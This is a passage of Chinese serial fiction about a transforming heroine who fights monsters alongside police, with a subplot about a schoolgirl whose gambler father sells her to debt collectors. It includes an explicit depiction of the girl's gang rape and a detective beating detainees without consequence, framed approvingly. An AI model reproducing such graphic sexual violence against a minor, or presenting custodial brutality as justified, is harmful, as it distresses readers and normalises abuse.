根据警视厅的发言,灰烬似乎和怪人是敌对关系,但是并没有说任何原因,并且同时表示己方也不了解灰烬。 有些人认为灰烬和怪人一样,是在彼此争夺地盘或者捕食,有人认为灰烬和怪人都是新出现的物种或者灾难,还有人觉得怪人本来就是警察秘密实验弄出来的烂摊子,灰烬只是他们唯一还可以控制的怪人罢了。 不管怎么样,之前的时间也被证实,民众毫不意外地陷入了恐慌。 今天又是要接受训练的日子了,晴子如约到达了警视厅后,看人流渐渐散去后才进去。昨晚和山田商量了一下,结果山田说训练照常进行。虽然黑木还是无法联系上,但是有人接手这项工作。 平时都是去黑木的办公室找他,然后开车直接就走了,这次只能在休息室等待一下。正儿八经在休息室等待警察,这还是第一次。有些小紧张地左顾右盼之后,很快训练的负责人就来到了。 “走吧。”八塚玄冷冷地看着这个女孩。 晴子指了指自己,“那个……我?” “里面就你一个人,我还能和鬼说话不成?” 晴子“蹭”地就站了起来,说真的,这是她最不想面对的一个人。 默默地跟在八塚玄身后,她看见路上有不少人都和八塚玄打招呼,而且大家似乎都很愉快的样子,八塚玄也是笑着做出了回应,这让她觉得八塚玄的形象和自己想象的似乎不太一,以至于产生了“这是谁”的感觉。 “上车。” 听着八塚玄毫无感情的声音,晴子真的很想吐槽一句,“怎么不拿出刚才的笑脸来。” 八塚玄开着车兜兜转转,最终带她来到了训练的地点。令人感到意外的是,经过的大部分的路和往常都是一样的,这个地方离黑木常带她去的房子距离并不远。 这个房子里面也有不少器械,各个房屋的位置也类似,不过整体装饰给人的感觉比不上黑木的那个。 “警察都这么有钱吗?” 看见八塚玄看向了自己,晴子缩了缩脖子,连忙闭上了自己的嘴。 “原来你没听那家伙讲过啊,算了,不知道就不知道得了。” 他抛给晴子一双拳击手套,自己也戴了一双。 “器械随便你用,想怎么热身也随便你,给你五分钟的时间。” 说完,他活动活动身体,就开始对着沙袋出拳。晴子见状,也开始了黑木一如既往带着她做的热身方法。 热身结束后,八塚玄叫她戴上头盔,然后让她登台。 “那些器械之类的训练我懒得管,到底是什么情况打了就知道了,来把我打倒吧。” 晴子举起双拳,她并没有思考太多,毕竟和黑木也练习过不少次。然而八塚玄却突然突进了过来,她连忙架手去挡,下一秒,她的腹部就受到重击,连退了几步,最后颤颤巍巍地单膝跪到了地上。 她调整了好几下呼吸,才终于将状态平复了下来。 “你那是什么表情?”八塚玄冷眼看着她,“你怎么还不站起来?这种程度对你来说应该不是问题吧?” 晴子重新架好姿势,死死盯着对方的动作,但是八塚玄却摇了摇头,随后对着她就连出了数拳。每一拳打过来,她都觉得自己很危险,因为那力道实在是太强了。 当最后一拳打到她身上,令她倒地翻滚之后,她就只能喘着粗气捂着自己身上疼痛的部位了。 “这简直……” “这简直不是训练?” 她的眼睛猛地睁大,八塚玄蹲下来,“你平时做的训练,连这种程度都没有吗?那你要拿什么去战斗啊?” 她想说些什么,可是却什么也说不出来。八塚玄接着说出了她非常不想听到的一句话,“听说你的恢复力似乎也不错的样子,那咱们就往死里练吧。” 他站起身来,“感谢我吧,甚至还要等你站起来,真不知道哪个怪人会等你站起来。还有就是,觉悟吧,之前你的战斗表现看得我都要吐了,不知道黑木那家伙到底是怎么训练你的,居然把你训练成了那么不堪的样子啊。” 晴子握紧了拳头爬了起来,她越发听不下去,“怎么样也不至于被你说成那样吧?我怎么说也是全力以赴在战斗,你行你上啊?” “没看出来啊,你身上是不是就只有嘴最硬了?” “哈?开什么玩笑!对别人完全不了解就否定成这样!” 八塚玄突然笑了出来,“了解?我根本不需要那种东西,我只要看一眼就可以判断出你是什么德行。在你打倒我之前,一切的言语都是苍白的,你明白这件事吗?你嘴上说得那么义正言辞,可是你却完全不是对手啊。” 晴子的表情突然缓和了下来。 “怎么了?放弃了?” “我真蠢啊,怎么会想到和你这样的人讲道理啊。” “那就别讲。” “确实。” 晴子冲了上去,哪怕表情没什么变化,但是心里的不爽已经完全表现在了拳头上。然而眼前的男人确实太气人了,看见了更愤怒的拳头,他的表情居然是更加轻蔑,这让晴子有一种想要吼出来的感觉。 “真是的,挠痒痒也别这么着急啊。” 晴子的眼睛都在用力,哪怕一言不发,拳头与八塚玄的胳膊对撞时的声音也说明了一切。 一拳接着一拳,那种结实的触感和低沉的爆响都在展示着她的内心,可是她就是无法打倒眼前的男人,甚至没有办法让其正视自己。 八塚玄也并不会站着挨打,晴子的下巴上、肋骨上、小腿上甚至鼻梁上都相继受伤。她想要挥拳反击,但是拳头打在对方身上的时候,对方甚至连眉头都不皱一下,仿佛被打中的不是自己的身体。 她越发感到无力,她不明白眼前这个男人为什么这么耐打,自己明明已经全力在打了,可是就是赢不了! 看见跪地的她用力砸了一下台面,八塚玄摇了摇头,“明明你都已经这样了,居然还在憋着呢。” 晴子的怒气仿佛突然被某种东西消散,取而代之的是微微的冷汗。她不知道这个人到底是怎么回事,总觉得自己做什么都没用,自己做什么都会被看出来,她突然就不想打了。 “站起来吧。” 看着晴子不动,八塚玄又补充了一句。 “我说,站起来。” 晴子还是没有动。 他一把将晴子从地上捞起来,将她推到了围栏上,看着她已经在流鼻血的脸,直接就是狠狠一拳,这让晴子又重新倒在了地上。 “哈哈哈哈,这就不行了,你有点弱了呀。”他拍了拍晴子的脸,“喂,还能听见吗?还能听见吗?电话接通了吗?哈哈哈哈。” “啊——” 晴子爬了起来,一边出拳一边怒吼了出来,“给我去死吧!” 一拳接着一拳,这已经不是练习、比赛或者打架之类的东西,而是真的起了杀心。但是她却没有变成怪人的形态,一旦变成了那样,她在自己心里就已经彻底输了。她现在已经没有任何别的想法,她只想用自己人类的形态,竭尽全力地杀死对方。管他是警察还是别的什么,她已经要气死了! 八塚玄还是一边笑着,一边用拳头回击着,虽然总觉得他的笑容又不一样了,但是晴子已经不想管这些东西了,她只想要他死!就是坚如磐石又如何?就是技术更强又如何?只要把他的那张嚣张的脸按在地下就行!只要把他的自傲击碎就行!只要用拳头在他的身上开一个洞就行! 只是现实是残酷的,哪怕她已经挥不动拳了,倒下的仍然是自己。 八塚玄并没有再说什么“站起来”之类的话,他看着地下这个已经没有力气的少女再次蹲下来,语气也并没有什么令人憎恶的感觉,“你知道吗,这才叫做全力以赴。” 晴子嘴唇微动,但是没什么力气说话,只是安静地流下泪水。八塚玄站起身,不一会儿,一个毛巾就落到了晴子的眼前。 当晴子爬起来的时候,已经是十几分钟后了。几乎是全身都在疼,但是不知道为什么,明明输得如此彻底,此刻心里却并没有什么负面的东西了。想要反驳的心情依旧存在,想要否定的心情依旧存在,想要自证的心情依旧存在,可是不知道为什么,却不想重新开口去讲。 看了看窗外,八塚玄正在花坛前坐着,身上也没有再穿戴护具。她有些看不明白这个男人,想要反抗却又无能,想要理解却又迷茫,想要憎恨却又提不起劲来。 两个人一个在室内一个在室外,都是安静地坐着,或许在思考着,或许在感受着,直到一个小时后,八塚玄才重新进入房中。 “哎呦,传闻有点离谱我还不信,结果这么快就恢复好了,看来你就这点优点了。” 晴子的脸上已经不再有上次的痕迹了,虽然身上的疼痛还留着,但是外表已经看不出来了。 “行了,停止这样的举止吧。”她站起身,身上的护具完全没有拿下来过,“差不多要开始继续了。” 八塚玄的气质变了,不再有任何浮于表面的情绪,只是与她互相盯着对方的眼睛。这次,是晴子先发起了进攻。 还是一如既往地出拳,但是晴子的内心有一种空白但又不完全空白的感觉。听不见杂音,看不见多余的东西,只是盯着面前的对手,不断调整着自己的姿态进行攻防闪避。 这一场战斗是沉默的,只有一声声拳头和身体碰撞的声音回响在房间中,除此之外什么也没有。 八塚玄看着面前的少女,也将心沉下去了一些。毕竟是警方重要的战力,他很早就观察着晴子。不论是平时看到的状态,还是战斗时的姿态。老实说,他总觉得不爽。 这个女孩就像是一杯茶,平时哪怕显现出情绪,即便是再大的表现,都像是将茶水上面的一层浮沫撇掉一般,底下纷乱的茶叶纹丝未动。如果用一句话来形容,这个女孩看起来与常人无异,实际上内心是破烂的。 于是他做出了自己的判断,这个女孩现在最需要的并不是技术的突破,也不是什么肌肉上的锻炼,而是情绪的宣泄,以及思想的整理。 平时晴子在战斗的时候,他总觉得那拳头之中包含了太多多余的东西,哪怕本人并没有注意到。硬要说的话,或许那就是杂念吧。并没有直接出现在脑海,也没有浮现在脸上,可是却让她的拳头失去了某种气势。 此刻完全不一样,他感受着晴子拳风的重量,这其中并没有包含什么杀气,可是却比之前沉重得多,那是一种坚定的信念,再加上此时忘我的状态,这让晴子的全身运动与呼吸异常契合。 当被一拳打在眉骨上,他晃晃脑袋,和晴子拉开了一段距离。 这时,手机恰巧响了起来。两人都收起架势,也正如两人所料的那样,又是怪人出现了。 “出击了。” 没有多言,两人就像是配合了很久的同事一样。晴子都没有料到自己和这个男人居然相性这么好。在坐上车之后,两个人脑海中都有同一种感受,那就是晴子已经准备好了。 早上,广濑由美一如既往地醒来。穿上衣服走出房门,餐桌上并没有早餐这样的东西,不过地上散乱的酒瓶碎片和液体干涸的痕迹说明了昨晚的一切。 昨晚,父亲从外面大醉而归。广濑一把掺住了父亲,将他放到了椅子上。 看着父亲的样子,她简直不用想都知道父亲去做什么了,“你又去赌了?” “怎么?你管我。”即便已经满脸通红,父亲还是对着酒瓶就来了一口。 她一把夺过酒瓶放在桌上,“跟你说了多少遍了,不要再去了,你为什么不听?” 父亲抬眼看了她一眼,一把将瓶子又拿到了手里,灌了自己一口酒。 “别喝了!都这样了还在喝什么啊!”她抓着瓶子想要把瓶子拿来,可是父亲却和她用力争抢。 已经喝醉的父亲,力量总觉得比平时还大,一把就将她推到了一边,使她重重地坐到了墙角,脑袋一下磕在了墙上。 父亲用握着酒瓶的手对她指指点点,“你管我!你是我女儿你凭什么管我!我要做什么是我自己的事!” 他越说越气,一把将酒瓶砸在了女儿眼前。广濑尖叫了一声,连忙用手臂挡住自己的脸,玻璃碎屑直接飞到了她的身上。 她就听着一些不规则的脚步声远去,睁眼时,恰巧是摔门离开的声音。 不愿再回想昨晚的事,轻轻抹一抹自己眼睛附近的异物,她将地上的玻璃都收拾好之后,好好地洗漱了一番。 背上书包,不管发生了什么,学校终究还是要去的。 父亲是个赌徒的事并没有别人知道,自己在学校里也没什么朋友。每当看着那些聚在一起的女生们,广濑都觉得自己没有那样的权力。听见某些时候耳边传来的关于家庭的只言片语,她也只想离得远一些。 一天的课程很快就过去了,在迎来放学的时候,大量的学生脸上都洋溢着喜悦,基本上每个人都有自己加入的社团可以进行课后活动,但是她并没有加入社团。并不是因为不想,在父亲染上那个东西的时候,且不说压根没有人准备早餐,她自己根本就已经连早餐都舍不得吃了。 来到了每天打工的地方,她熟练地换上了工作装。 时间还早,才刚过中午的时候,父亲从路边的椅子上醒来。他揉揉脸,目光无神地看着来往的行人。路过的人看到他乱七八糟的头发、不知多久没刮的胡子、身上的尘土以及身边倒下的酒瓶,没有一个人觉得他是一个有家室的男人,只觉得他不过是哪里的流浪汉。 几乎是机械般地,他一起身就向着某个方向走去。 这是一个大型游戏中心,不过他来到这里只是为了玩帕青哥。熟练地找了高费率的机子,掏出了纸币送进机器换出了一大堆小钢珠。 他的脸上毫无表情,仿佛自己也是机器的某个组成成分,唯一有些精神头的时候,就是一开始旋转旋钮控制钢珠力度的时候,之后就是麻木地盯着花里胡哨的屏幕,等待最后的结果。 他还是有备而来的,而且今天他的运气似乎不错。这让他回想起昨晚女儿的态度的时候更加不爽,再怎么说自己也是赢出过一辆车的人,虽然现在已经被卖掉了,但是那都是自己实力的证明。结果自己的女儿是怎么回事啊,到底分不分得清这个家里谁说了算了? “好!” 这家店的人还是不少的,当他中了的时候,脸上第一次出现明显的情绪。他环顾了一下四周,总希望别人注意到自己,但是却没有一个人看向自己的方向。在这些高倍的机子群中,所有人都只关心着自己的成败。 因想起那场胜利而略有兴奋的笑容渐渐从他脸上消失,他重新投入一笔钱,开始了新的一轮。 到了下午,他还在打钢珠的时候,有几个人出现在了他的视野中。他赶紧压低身体,可是又舍不得自己正在打的这一轮,所以从椅子上起来,蹲到了地上,眼睛一边盯着那些人,一边瞟着自己的机子。 直到那些人逐渐靠近了自己,他才像一条蛆一样从地上窜去了别处。 “可恶!我这一把都中了!都是他们的错!” 他暗自捏拳,可是却大气也不敢出。直到绕到那些人彻底离开后,他才从地上慢慢站起来。此时他才感觉到自己有些丢人,可是如同中奖时一样,完全没有人看向他这边。 心里莫名其妙的情绪涌现,他又重新坐回了机子前面。 晚上,广濑由美回到了家,推着有些疲惫的身体坐在了自己的房间,打开了最后抢到的打折便当,然后狼吞虎咽地吃了起来。 不得不说,每天吃饭的时候都是她最高兴的时候,哪怕再廉价都没关系,享受着食物的香气划过自己的鼻腔和味蕾,这种简单的满足感正是一直支持她的东西。 她有些没忍住笑了起来,“今天这个肉有点香啊,好幸运!” 又吃了几口以后,有些急促的敲门声传来。 “来了!” 估计是时不时会来家访的老师来了,她站起身,透过猫眼看向外面,发现是几个陌生的男人。哪怕不想开门了,但是刚才习惯性地回应已经暴露了家里有人。还在犹豫之际,外面的人叫嚷着敲得更狠了。 她喊道:“有什么事吗?” “请问广濑先生在吗?” “抱歉,他不在,还没回来呢!” 外面的人听到她的声音,也没有再在这里纠缠,只是互相之间不知道说了什么就离开了。 看见那些人走了之后,她才松了口气靠在了门上。也不等自己多想些什么,突然觉得有些不妥,她赶紧把门用钥匙从里面锁上了,就当是心理安慰了。 一个楼边,没人的街道,父亲被一个男人抓着领子一把摔到了墙根。此时的他已经是鼻青脸肿,鼻血止不住地往下流。 那人皮笑肉不笑地说:“多少天了,广濑先生,你应该明白自己会是什么下场,不管你用什么方法,你都必须把这个钱给我还上!” 他俯身靠近了对方的脸,然后一把用手捏住下巴,“不知道你喜欢什么死法,水泥沉底?倒挂放血?手脚碎骨?你应该不是那么蠢的人吧?” 小公寓楼前,晴子下车,看着眼前的环境,上一次的记忆又涌了上来,令她感觉有些反胃。强忍着不快,她一步步向着目标走去。 虽然杀戮发生在楼上,那些尸体也都能一眼看到,但是目标已经跳到楼下来了,这对她而言还是比较方便的。 “变身!” 看着晴子步步远去,八塚玄捂了捂肚子,“她下手还真重啊。” 这次的怪人通体都是一个颜色,但是眼睛下面有两道红色纹路,嘴边一周和每个指尖也都是红色的。这让晴子有些警惕,不知道这些一看就比较特殊的地方会冒出什么招数来。 不过不知道是不是今天训练的作用,她的脑海里意外地没有想太多,很快就进入了单纯想要把对方打倒的状态。 没有过多试探,她留意着那些红色的部分,然后率先发动了进攻。 八塚玄看着那边的战斗,也露出了会心的笑容。晴子看起来不一样了,没有什么恐惧或者犹豫,出拳的时候十分干脆也十分到位。 怪人一看就不是对手,可以说是完全没有什么战斗能力,这让两人都直犯嘀咕。附近支援的警察们也面面相觑,不知道这次的怪人为什么这么弱。原本晴子以为它会使出什么特殊的技能,但是那些特殊的部分完全没有任何作用,似乎只是装饰的花纹。 打了一段时间后,晴子的拳风一转,大量皲裂从怪人身上裂开。她慢慢退开,看着怪人走向灭亡。可是这一次,怪人并没有化为黑烟,而是一边挣扎着,一边悲鸣着,身上的皲裂渐渐恢复如初,这让她感觉有点不对。 怪人恢复后并没有进攻,而是发出了叫声。在场的警察都是有经验的人,当那叫声一冒出来,所有人就开始捂耳朵,晴子也是微微缩起了脖子。但是预想的情况并没有发生,这叫声并没有之前那个怪人的杀伤力,而是单纯地在歇斯底里。 警察们又搞不明白了,其中一个是另一个说:“这个怪人是在哭吗?” 另一个也皱着 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五个男人走了进来,把门从里面锁上。 看着逐渐逼近自己的人,她直接就往自己的房间跑。一进去,她就马上推门要关上,但是男人的力量很大,一下就把她的房门狠狠退开,然后把她摔到了床上。 “你们要干什么!” “干什么?”为首的男人和旁人对视一眼,都笑了出来。他靠近了床上的晴子,直接跪了上去,一把抓住了晴子的制服,“你知道吗,你爸欠了我们很多钱,然后根本还不上。” “钱我会想办法!”晴子抱着被子,目光恐惧地看着眼前的人。 男人摇了摇头,“不劳你费心了,我们已经商量好了解决办法。” 他把钥匙放在晴子眼前,“你猜猜这个为什么在我们手里?”他的笑容越来越剧烈,“那个人虽然不是东西,但是他的话还是很对的,他的女儿确实很好看啊,哈哈哈哈。” 晴子的脸越发地白了,男人又逼近了一些,“他把你给我们几个玩玩,就抵上还债了!” 男人突然就开始撕扯晴子的衣服,晴子尖叫着,一边激烈地反抗。又有两个男人上来直接抓住了晴子的双手,一下把她按在了床上。 晴子痛哭着,叫喊着,用牙齿撕咬着对方的肩膀,手指用力扣着床单。可是迎来的只有看着自己的衣服一件件离开自己的身体,以及一个火辣的耳光。 渐渐的,晴子失去了意识,哪怕已经感到麻木,但仍然觉得心脏和下身都在经受着无可比拟的剧痛。已经不知道是多久了,也不知道是第几个人的第几轮了,她唯一所求就是从这个世界立即痛快地死去。可是就连这样的愿望,现在也实现不了。 中午,晴子缓缓睁开了眼睛,看着床上的鲜血和已经不知道被蹂躏了多久的自己,她的眼泪无声地流了下来。 在晴子附近的八塚玄突然感觉到了一股极其强大的气场从晴子身上传来,即便是不知道处理了多少案件的他都感觉十分心悸。他把手搭在了枪上,即便知道这东西也许并没有用,但是他没得选。 晴子看向他,然后直接冲上楼。可是走到半道,她却慢慢停下了脚步,转头就要走去别处。 在楼梯下的八塚玄拿枪指向了她,“你要去哪。” “你什么都不明白。” “不,我在问你,你要去哪。” “你要阻止我吗?” “我必须阻止你。” “你以为,你打得赢这样的我吗?” “即便如此,我也不会后退一步。” 晴子心中的火焰已经要完全爆发,她向着旁边直接挥出一拳,楼梯的金属栏杆就像泡沫塑料一样轻易地破断裂飞远。 “我再说一遍,让开!” “我说了,我不会让开一步。” 两个人又僵持了几秒,八塚玄沉稳地看着这个女孩,“如果你希望离开,大可从这里跳下去,凭你的身体能力,这根本就不是问题。” 看到晴子还没有说话,他再次劝道:“从这里离开,你就回不了头了,如果你还想保护那些人,你就给我停在这里。” 晴子怒吼道:“你什么也不知道!什么我想保护的人,我这不是什么都没有保护得了吗!你凭什么在这里大放阙词!啊?回答我!你凭什么!” “我确实什么都不知道,但是我至少知道拯救你。” 晴子突然愣住了,随后突然笑了起来,“哈哈哈,拯救我?” 她一步一步地向下走去,直到一把抓起枪,用自己的胸膛抵住枪口,“你拿什么拯救我?就凭这种没有威力的东西,还是你羸弱的□□?你以为之前你可以赢我,你就什么都做得到吗?” 八塚玄仍然冷静地看着她,“人类的仇,要人类去报。人类的罪,由法律来审判。” 晴子久久地看着这个男人,最后将手缓缓松开,自己也变回了人类的样子。 “啊,是吗。那就请你好好加油了,警察先生。” 八塚玄还保持着那样的姿势,看着一个满脸都是泪水但是嘴角却高高扬起的女孩从自己的身边走过,他感觉到今天的训练可能化为乌有了。 警察们迅速进入了现场,那里只有一个目光呆滞的,看着天花板的女孩。当八塚玄看到现场的那一刻,他不忍地闭上了眼睛,一种可能性在他的脑海里猛地炸开。 又到了晚上,一个仓库内,三个男人正在无所事事的敲打着手中的钢管。他们已经很久没有说过话了,饭也吃不下去。 一个人终于忍不住开口了,“那到底是什么玩意啊。” “我哪知道!可恶,直接给两个人干死了。老子当时还爽着呢!” 事出突然,那三个人几乎是光着冲出了房门,哪怕被路人看见也比死在那里强得多。回想起之前的遭遇,三人还是感觉浑身发冷。 此时,外面突然警笛大作,三人都是心中巨震,还没来得及想办法跑,仓库门被直接暴力打开,持枪的警察瞬间包围了整个场地。八塚玄冷眼看着这些人,那么多证人看见了那么印象深刻的画面,他确信这三人就是嫌疑人的结论一定错不了。 回到警视厅,八塚玄叫部下离开,一脚将其中一人踹到了地上。 “你要干什么!你不是警察吗!” “我是警察,然后呢?” “我抗议,你不能这么做!” “凭什么?” 八塚玄看着眼前的男人,恐怕这个人一直以来都在嚣张地活着,此刻这副胆小的样子显得如此可笑。 “你知道吗,我在警视厅还是相当能说得上话的。” “你是什么意思?” 八塚玄不再多说,只是一拳又一拳地打在男人的脸上,丝毫不理会他的惨叫。 最终,那三个人全都是一副明显看起来不对劲的样子,却没有任何人理会他们的状态,八塚玄也并没有受到任何惩罚。 在他回到自己的办公室泡上一杯咖啡的时候,电话铃声突然响起。 “嗯,我是,嗯?没回去吗?我应该把她送到门口了啊?我去找一找吧,实在抱歉。” 他挂掉电话,心里突然觉得不安,明明自己是看着晴子站在了家门前,为什么却没有回去呢?想到这,他一把抓起自己的车钥匙就冲出了门。 天桥上,晚上的风柔和地吹着晴子的脸颊,将她的头发轻轻带起。她挺喜欢这样的感觉的,明明下面车来车往,但是她却觉得世界是安静的。 八塚玄终于是踏上了天桥,说实话,虽然是有迹可循的,找到晴子还是花了一个多小时。他本想开口,可是却没想到是晴子先开了口。 “诶呀呀,被找到了呢。” “你怎么在这种地方?” “嗯?”晴子笑着看着远方的信号灯,“当然是来兜风享受了。” “开什么玩笑。” “是真的啊。” 八塚玄看了看天桥的高度,又看了看这个完全不看向自己的女孩,他觉得这个女孩已经很危险了,可以说现在的他已经做好了随时冲上去的准备。 “别怕啊,八塚先生,这种东西,就是我跳下去被车撞一下,也要不了我的命,你应该是清楚的吧。” 八塚玄就像被噎住了一样,两个人一时间陷入了沉默。 “呐,八塚先生,你觉得我的能力到底是什么呢?” “能力吗……是看到怪物产生的原因吗?” “哇哦,不愧是八塚先生,不过有一点区别呢。” …… “你居然不问我是什么区别,好冷淡啊。” “是什么区别?” “我会被完全代入那个人的视角,以完全不能控制自己的方式,完全失去本我意识地入戏地完全体验到当时发生的事,然后等完全结束了才能重新意识到自我,但会保留之前的全部情绪。” 晴子转过头来微笑道:“你知道吗,八塚先生,或许在你看来那只是十几秒的功夫,我可是扎扎实实地经历了四个多小时哦,很厉害吧,哈哈。” 八塚玄冷汗都下来了,他觉得仿佛有一个魔鬼盯上了自己一般。在将被害人转移之后,警察们小心地调查出了具体发生的事。当晴子说出这样的话的时候,八塚玄突然不知道要怎么样面对这个女孩。 晴子遗憾地说:“真是太可惜了,她为了父亲能顺利进来,锁门的时候没有挂上门链。如果是我的话,我不仅要锁上,还要把钥匙插进锁孔里转个45度,谁也别想进来,嘻嘻。” “你还好吗?” “嗯?怎么突然说这样的话?我好得很啊。”晴子抬头看着月亮,“你不觉得月牙很美吗?正因为不完整,所以才迷人。” “很遗憾,我还是更喜欢圆月一些。” “啊,是这样吗?” 晴子慢慢走到八塚玄身边,“回去吧,八塚先生。”她伸了个懒腰,“还要为未来的战斗努力呢,不好好休息可不行啊。” 7. 伤痕 “早上好,八塚先生!” “啊,嗯。” 当八塚玄再见到晴子的时候,晴子已经完全没事了。她脸上是温和的笑容,仿佛什么都没有经历过一般。在她的身边,风夏坚决表示陪同,说如果是上课时需要出击,自己请假也要跟着。于是警方也直接和校方进行了联络,当然,并没有泄露任何东西,而是单方面堵住了校方想要询问的嘴。 晴子四处看了看,“黑木先生还是不在啊,我感觉你们好像对此并不着急啊。” 八塚玄倒也不是对其嗤之以鼻,大概就是有些不满地一声低哼,“那肯定……” 这时山田尚也走了过来,“八塚队长,科搜研那边找您。” 八塚玄点点头后,回头想说点啥,但终究没和晴子再说一句话就赶紧过去了。看着离去的他,晴子问道:“我刚才问,大家好像对黑木先生的事并不着急,之前还说联络不上什么的,这突然间是怎么了呀?” 山田叹了口气,“是八塚队长叫我们别管的,也说明了黑木先生会在哪。” “嗯?会在哪啊?” “根据八塚队长的判断,有99%的概率是在未婚妻的墓前吧。实际上几乎已经确定了,因为这种事也不是第一次发生了。” 晴子的神色也一下正经了不少,风夏同样竖起了耳朵,“具体是怎么一回事呢?” “我还以为黑木先生早就和你们说过了呢,没事,这事也不是什么秘密。”他招呼两人坐下,然后倒了两杯茶,“实际上黑木先生的未婚妻是八塚队长的姐姐。” 就这一句话,就让两个女生直接刷新了对两人关系的认知,沉默效果拔群。 科搜研中,八塚玄接过了桂田西人给的枪。 “看着不错啊,居然是突击步枪。”他仔细查看着这把步枪的各个部分,“这个弹夹蛮大的啊,感觉火力应该相当猛。” 桂田又递过来一把,“还有这个,这个更猛。” 八塚玄简直不敢相信自己的眼睛,“这种口径,这是反器材步枪吧?我们警察什么时候有这待遇了?” 桂田无奈地摇了摇头,“用小手枪根本什么也做不到,上面的人也不是傻子。近期开始,关于怪人的新闻简直满天飞,大量的民众陷入恐慌。再加上之前的事件中,加起来死了不知道有多少警察,这都是瞒不过去的。” “所以上头就决定更换装备了是吧。” “是啊……不能让民众们一直只留下‘怪人都是灰烬打倒的’这样的印象,不管怎么说,警察必须要起到一定量的作用,才能让民众的安全感得到提升。” 八塚玄又看向桌子上的三堆盒子,“这些是……” “这三堆分别是突击步枪子弹,还有反器材步枪的□□和高爆弹,说实话,我们也不清楚到底哪种攻击是有效的,也有可能全部都是无效的,这些都说不准的。一旦攻击无效,我们还得在子弹上接着下功夫。” “很厉害了,哪怕是我们部队也没有配过反器材步枪,看来怪人真是相当棘手的。”八塚玄将枪握在手里的时候,又想起了晴子当时说的话,“即便是人类的形态,从那里掉下去再被车撞都不会死啊……那么怪人的形态……” 桂田看着他表情慢慢变了便问:“怎么了?” 八塚玄轻叹一声,“恐怕确实是不好说啊。” 两个人都看着手里的枪,虽然还没有进行实际射击测试,但是一股担忧突然就掩盖起了新武器带来的喜悦。 另一边,山田也开始对过去的事娓娓道来,那是很早的事了,那时候的黑木还是一个意气风发的人。 游乐园门前,一个女生正在低头发消息,一边发着一边左顾右盼。 “我来啦!” 女生听见声音后眼前一亮,连忙向着声音传来的地方看去,先是露出了超级开心的笑容,随后又把嘴嘟了起来,“你怎么才来呀,都迟到十几分钟啦。” “抱歉抱歉,最近确实太忙了。”黑木笑着摸了摸女生的头,然后从背后拿出了一根玫瑰花,“作为赔礼,挑了最能配得上你的一枝,这可是店里最漂亮的那个了呦。” “哇!真好看!”女生也明白,黑木并不是故意要迟到的。最近黑木频频立下功劳,再加上自己也时常回去警视厅看看弟弟,警视厅的人对她都熟悉,两边同时用了用力,他成功地从警署被调到了警视厅。 女生一下拉住黑木的手,“走吧,大英雄,可别以为一根玫瑰就能洗刷你的罪行哦。” 看着女生的笑脸,黑木的脸上也满是喜悦和宠溺,自己平时忙成那样,她却一点也不嫌弃,自己还有什么所求呢? “好,好,都听你的,花莲。” 走进游乐园,里面十分热闹,今天人还是挺多的,每个项目基本都有排队的人。 花莲用力上举双手,“嗯——好久没来这里啦!咱们谈恋爱这么久,都订婚了,甚至都没有来过这里一趟,今天终于如愿啦。” 黑木感到有些自责,“怪我,一直以来都没好好陪陪你,我真是太不合格了。” 她一听黑木这么说,立马就转过头来一叉腰,上前一步的同时看向黑木的眼睛,“我早就说过了,这不是你的问题。你现在做着让我都感到自豪的工作,这没什么不好的,我不许你说这样的话。” 她重新露出笑容,“不过为了惩罚你,今天就罚你陪我把这些全玩一遍,做好觉悟吧!” “好!全凭大小姐安排!” “好耶!” 两人一个一个项目玩过去,哪怕是旋转木马,花莲也要抢着和小孩子一起坐。原本黑木西装革履地坐在旋转木马上还觉得自己挺尴尬的,但是看着花莲那享受的表情,再看看周围人善意而羡慕的笑容,尤其是一些情侣也冲他招招手,仿佛感到尴尬的自己像笨蛋一样。 两人一口气玩了很久,但是也才玩了一半的项目,不过因为上一个云霄飞车实在是让黑木有点晕乎乎的,两人买了两个可丽饼坐到了路边。 花莲笑眯眯地调侃道:“怎么那么厉害的黑木警官居然倒在了云霄飞车呀,嘿嘿。” “你又不是不知道,我真是不擅长这类事情。” 看着满脸惆怅的黑木,花莲递过去了自己的可丽饼,“啊——” “这是……” “当然是让你尝尝啦。”花莲有些无奈地说,“咱们的味道不是不一样吗?你尝尝我的。” 说完,她直接咬了一口黑木的可丽饼,然后再次把可丽饼递到了黑木的嘴边,“啊——” 黑木咬了一口,“嗯,好甜呀,这个味道我也很喜欢呢。” “嘿嘿,那就好。你也真是的,都订婚了,连约会都不会呢。” 黑木听此又想道歉,但是转念一想道:“未来还有得是机会,到时候还要请花莲老师好好教教我呢。” “好呀好呀。” 两人并排坐着,看着天空中的白云,听着游乐园的音乐。 花莲不禁感叹,“真好啊,这样和你一起,哪怕仅仅是看着云起云落,都会觉得着世间犹如天堂。” “嗯,我也这么想。” “诶——不行,你这是抄袭我的,你得说个新的。” “嗯……即便你这么说,我一时半会还真想不出来呢。” 看着黑木认真苦恼的样子,花莲一下没憋住笑出声了,“我逗你呢,你还真是个认真的人呢。” 两个人都乐了起来,幸福感充斥着整片空间,黑木看着眼前的恋人,仿佛她比太阳都要耀眼。 “不过如果不是你这么认真,也没法做好警察的工作吧。你这段时间辛苦了,黑眼圈都出来了。我也真是够佩服你的,居然在两个月中参与破获了三个犯罪团伙,还在其中两个里都立下功劳,现在甚至都进了警视厅了,真士真是令人佩服呐。” “这都是我职责该做的,反倒是你让我比较佩服呢。” “是吗?” “当然了,你不知道,我是多么喜欢听你的钢琴曲!之前你发给我的那一首我可是每晚都在听呢,每次听到那个旋律,都仿佛你陪在我身边一样,真的就像你本人一样温柔。我经常觉得,能遇见你真是我一生的幸运!” 花莲忍住没有别过头去,不过还是稍微目光下移了一些,没有看着黑木的眼睛,“真是的,平时和个木头疙瘩一样,这种时候倒是可以轻而易举地说出这样的话呢。” “是真的哦,我没有骗你的!” “我知道我知道!”她的脸已经通红,轻轻拍打了一下黑木,“别说了,那么大声音!” 看着附近的一个女孩捂着嘴走开,又看到远处一对情侣那边,一个男生给他比了一个加油的手势并被女朋友笑着拍了一下脑瓜,他才惊觉自己声音很大,羞耻地把头低了下去。 为了打破沉默,花莲站起身来道:“我去摘个花,等会咱们接着玩。” “好,我在这里等你。” 看着花莲离开后,黑木也打开手机开始继续确认。虽然今天是花莲说要出来玩的,但是餐饮还是落在了他的头上。他事先预约好了一家餐厅,但是始终感觉心里没底。花莲本就是他的初恋,自己也一直处于忙碌,一共就出去吃过三次饭,还都是花莲找的地方。 “黄油香煎牛排、青柠脆皮鸡、芝士薯条、时蔬沙拉、黑松露烩饭、拿铁……之前都没吃过这一类的,按理说她应该是没有忌口的,应该没什么问题,但是具体怎么样还是不清楚啊……” 